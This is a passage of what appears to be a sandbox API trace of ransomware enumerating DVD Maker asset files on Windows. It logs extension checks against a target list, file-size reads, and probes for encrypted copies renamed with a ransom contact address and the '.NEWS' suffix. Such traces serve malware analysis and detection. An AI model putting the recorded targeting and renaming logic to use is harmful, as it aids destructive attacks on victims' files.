lstrlenW (lpString=".1cd") returned 4 [0214.654] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0214.654] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0214.654] lstrlenW (lpString=".jpg") returned 4 [0214.655] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0214.655] lstrcmpiW (lpString1=".wmv", lpString2=".NEWS") returned 1 [0214.655] lstrlenW (lpString="flower_trans_MATTE_PAL.wmv") returned 26 [0214.655] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0214.658] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=165208) returned 1 [0214.658] CloseHandle (hObject=0x388) returned 1 [0214.658] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv")) returned 0x20 [0214.659] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.659] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.659] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.660] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.660] lstrlenW (lpString=".doc") returned 4 [0214.660] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0214.660] lstrlenW (lpString=".docx") returned 5 [0214.660] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0214.660] lstrlenW (lpString=".pdf") returned 4 [0214.660] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0214.660] lstrlenW (lpString=".xls") returned 4 [0214.661] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0214.661] lstrlenW (lpString=".xlsx") returned 5 [0214.661] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0214.661] lstrlenW (lpString=".ppt") returned 4 [0214.661] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0214.661] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.661] lstrlenW (lpString=".zip") returned 4 [0214.661] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0214.661] lstrlenW (lpString=".rar") returned 4 [0214.661] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0214.662] lstrlenW (lpString=".bz2") returned 4 [0214.662] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0214.662] lstrlenW (lpString=".7z") returned 3 [0214.662] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0214.662] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.662] lstrlenW (lpString=".dbf") returned 4 [0214.663] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0214.663] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.663] lstrlenW (lpString=".1cd") returned 4 [0214.663] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0214.663] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.663] lstrlenW (lpString=".jpg") returned 4 [0214.663] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0214.664] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.664] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.664] lstrlenW (lpString=".doc") returned 4 [0214.664] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0214.664] lstrlenW (lpString=".docx") returned 5 [0214.664] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0214.664] lstrlenW (lpString=".pdf") returned 4 [0214.664] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0214.664] lstrlenW (lpString=".xls") returned 4 [0214.665] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0214.665] lstrlenW (lpString=".xlsx") returned 5 [0214.665] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0214.665] lstrlenW (lpString=".ppt") returned 4 [0214.665] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0214.665] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.665] lstrlenW (lpString=".zip") returned 4 [0214.665] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0214.665] lstrlenW (lpString=".rar") returned 4 [0214.665] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0214.666] lstrlenW (lpString=".bz2") returned 4 [0214.666] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0214.666] lstrlenW (lpString=".7z") returned 3 [0214.666] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0214.666] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.666] lstrlenW (lpString=".dbf") returned 4 [0214.666] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0214.668] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.668] lstrlenW (lpString=".1cd") returned 4 [0214.668] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0214.668] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0214.668] lstrlenW (lpString=".jpg") returned 4 [0214.668] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0215.137] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0215.138] lstrlenW (lpString="15x15dot.png") returned 12 [0215.138] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0215.150] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2821) returned 1 [0215.150] CloseHandle (hObject=0x384) returned 1 [0215.150] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png")) returned 0x20 [0215.151] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.151] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.152] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.152] lstrlenW (lpString=".doc") returned 4 [0215.152] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.152] lstrlenW (lpString=".docx") returned 5 [0215.152] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0215.152] lstrlenW (lpString=".pdf") returned 4 [0215.152] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.152] lstrlenW (lpString=".xls") returned 4 [0215.152] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.153] lstrlenW (lpString=".xlsx") returned 5 [0215.153] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0215.153] lstrlenW (lpString=".ppt") returned 4 [0215.153] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.153] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.153] lstrlenW (lpString=".zip") returned 4 [0215.153] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.153] lstrlenW (lpString=".rar") returned 4 [0215.153] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.154] lstrlenW (lpString=".bz2") returned 4 [0215.154] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.154] lstrlenW (lpString=".7z") returned 3 [0215.154] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.154] lstrlenW (lpString=".dbf") returned 4 [0215.154] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.154] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.154] lstrlenW (lpString=".1cd") returned 4 [0215.156] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.156] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.156] lstrlenW (lpString=".jpg") returned 4 [0215.156] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.156] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.156] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.156] lstrlenW (lpString=".doc") returned 4 [0215.157] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.157] lstrlenW (lpString=".docx") returned 5 [0215.157] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0215.157] lstrlenW (lpString=".pdf") returned 4 [0215.157] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.157] lstrlenW (lpString=".xls") returned 4 [0215.157] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.157] lstrlenW (lpString=".xlsx") returned 5 [0215.157] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0215.157] lstrlenW (lpString=".ppt") returned 4 [0215.158] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.158] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.158] lstrlenW (lpString=".zip") returned 4 [0215.158] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.158] lstrlenW (lpString=".rar") returned 4 [0215.158] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.158] lstrlenW (lpString=".bz2") returned 4 [0215.158] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.159] lstrlenW (lpString=".7z") returned 3 [0215.159] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.159] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.159] lstrlenW (lpString=".dbf") returned 4 [0215.159] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.159] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.159] lstrlenW (lpString=".1cd") returned 4 [0215.159] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.159] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png") returned 65 [0215.159] lstrlenW (lpString=".jpg") returned 4 [0215.159] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.161] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0215.161] lstrlenW (lpString="colorcycle.png") returned 14 [0215.161] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0215.162] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=17378) returned 1 [0215.163] CloseHandle (hObject=0x384) returned 1 [0215.163] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png")) returned 0x20 [0215.163] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.164] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.164] lstrlenW (lpString=".doc") returned 4 [0215.164] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.164] lstrlenW (lpString=".docx") returned 5 [0215.166] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0215.166] lstrlenW (lpString=".pdf") returned 4 [0215.166] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.166] lstrlenW (lpString=".xls") returned 4 [0215.166] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.166] lstrlenW (lpString=".xlsx") returned 5 [0215.166] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0215.166] lstrlenW (lpString=".ppt") returned 4 [0215.167] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.167] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.167] lstrlenW (lpString=".zip") returned 4 [0215.167] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.167] lstrlenW (lpString=".rar") returned 4 [0215.167] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.167] lstrlenW (lpString=".bz2") returned 4 [0215.167] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.167] lstrlenW (lpString=".7z") returned 3 [0215.167] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.167] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.168] lstrlenW (lpString=".dbf") returned 4 [0215.168] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.168] lstrlenW (lpString=".1cd") returned 4 [0215.168] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.168] lstrlenW (lpString=".jpg") returned 4 [0215.168] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.168] lstrlenW (lpString=".doc") returned 4 [0215.168] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.169] lstrlenW (lpString=".docx") returned 5 [0215.169] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0215.169] lstrlenW (lpString=".pdf") returned 4 [0215.169] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.169] lstrlenW (lpString=".xls") returned 4 [0215.169] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.169] lstrlenW (lpString=".xlsx") returned 5 [0215.169] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0215.169] lstrlenW (lpString=".ppt") returned 4 [0215.169] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.169] lstrlenW (lpString=".zip") returned 4 [0215.169] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.170] lstrlenW (lpString=".rar") returned 4 [0215.170] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.170] lstrlenW (lpString=".bz2") returned 4 [0215.170] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.170] lstrlenW (lpString=".7z") returned 3 [0215.170] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.171] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.171] lstrlenW (lpString=".dbf") returned 4 [0215.171] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.171] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.171] lstrlenW (lpString=".1cd") returned 4 [0215.171] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.171] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png") returned 67 [0215.171] lstrlenW (lpString=".jpg") returned 4 [0215.171] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.172] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0215.173] lstrlenW (lpString="huemainsubpicture2.png") returned 22 [0215.173] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0215.173] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2903) returned 1 [0215.173] CloseHandle (hObject=0x384) returned 1 [0215.174] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png")) returned 0x20 [0215.174] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.174] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.176] lstrlenW (lpString=".doc") returned 4 [0215.176] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.177] lstrlenW (lpString=".docx") returned 5 [0215.177] lstrcmpiW (lpString1=".docx", lpString2="2.png") returned -1 [0215.177] lstrlenW (lpString=".pdf") returned 4 [0215.177] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.177] lstrlenW (lpString=".xls") returned 4 [0215.177] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.177] lstrlenW (lpString=".xlsx") returned 5 [0215.177] lstrcmpiW (lpString1=".xlsx", lpString2="2.png") returned -1 [0215.177] lstrlenW (lpString=".ppt") returned 4 [0215.177] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.177] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.177] lstrlenW (lpString=".zip") returned 4 [0215.177] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.178] lstrlenW (lpString=".rar") returned 4 [0215.178] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.178] lstrlenW (lpString=".bz2") returned 4 [0215.178] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.178] lstrlenW (lpString=".7z") returned 3 [0215.178] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.178] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.178] lstrlenW (lpString=".dbf") returned 4 [0215.178] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.178] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.179] lstrlenW (lpString=".1cd") returned 4 [0215.179] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.179] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.179] lstrlenW (lpString=".jpg") returned 4 [0215.179] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.179] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.179] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.179] lstrlenW (lpString=".doc") returned 4 [0215.179] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.180] lstrlenW (lpString=".docx") returned 5 [0215.180] lstrcmpiW (lpString1=".docx", lpString2="2.png") returned -1 [0215.180] lstrlenW (lpString=".pdf") returned 4 [0215.180] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.181] lstrlenW (lpString=".xls") returned 4 [0215.181] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.181] lstrlenW (lpString=".xlsx") returned 5 [0215.181] lstrcmpiW (lpString1=".xlsx", lpString2="2.png") returned -1 [0215.181] lstrlenW (lpString=".ppt") returned 4 [0215.181] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.181] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.181] lstrlenW (lpString=".zip") returned 4 [0215.181] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.181] lstrlenW (lpString=".rar") returned 4 [0215.181] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.182] lstrlenW (lpString=".bz2") returned 4 [0215.182] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.182] lstrlenW (lpString=".7z") returned 3 [0215.182] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.183] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.183] lstrlenW (lpString=".dbf") returned 4 [0215.183] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.183] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.183] lstrlenW (lpString=".1cd") returned 4 [0215.183] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.183] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned 75 [0215.183] lstrlenW (lpString=".jpg") returned 4 [0215.183] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.184] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0215.184] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0215.184] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0215.187] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=5088) returned 1 [0215.187] CloseHandle (hObject=0x384) returned 1 [0215.187] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png")) returned 0x20 [0215.187] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.665] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.665] 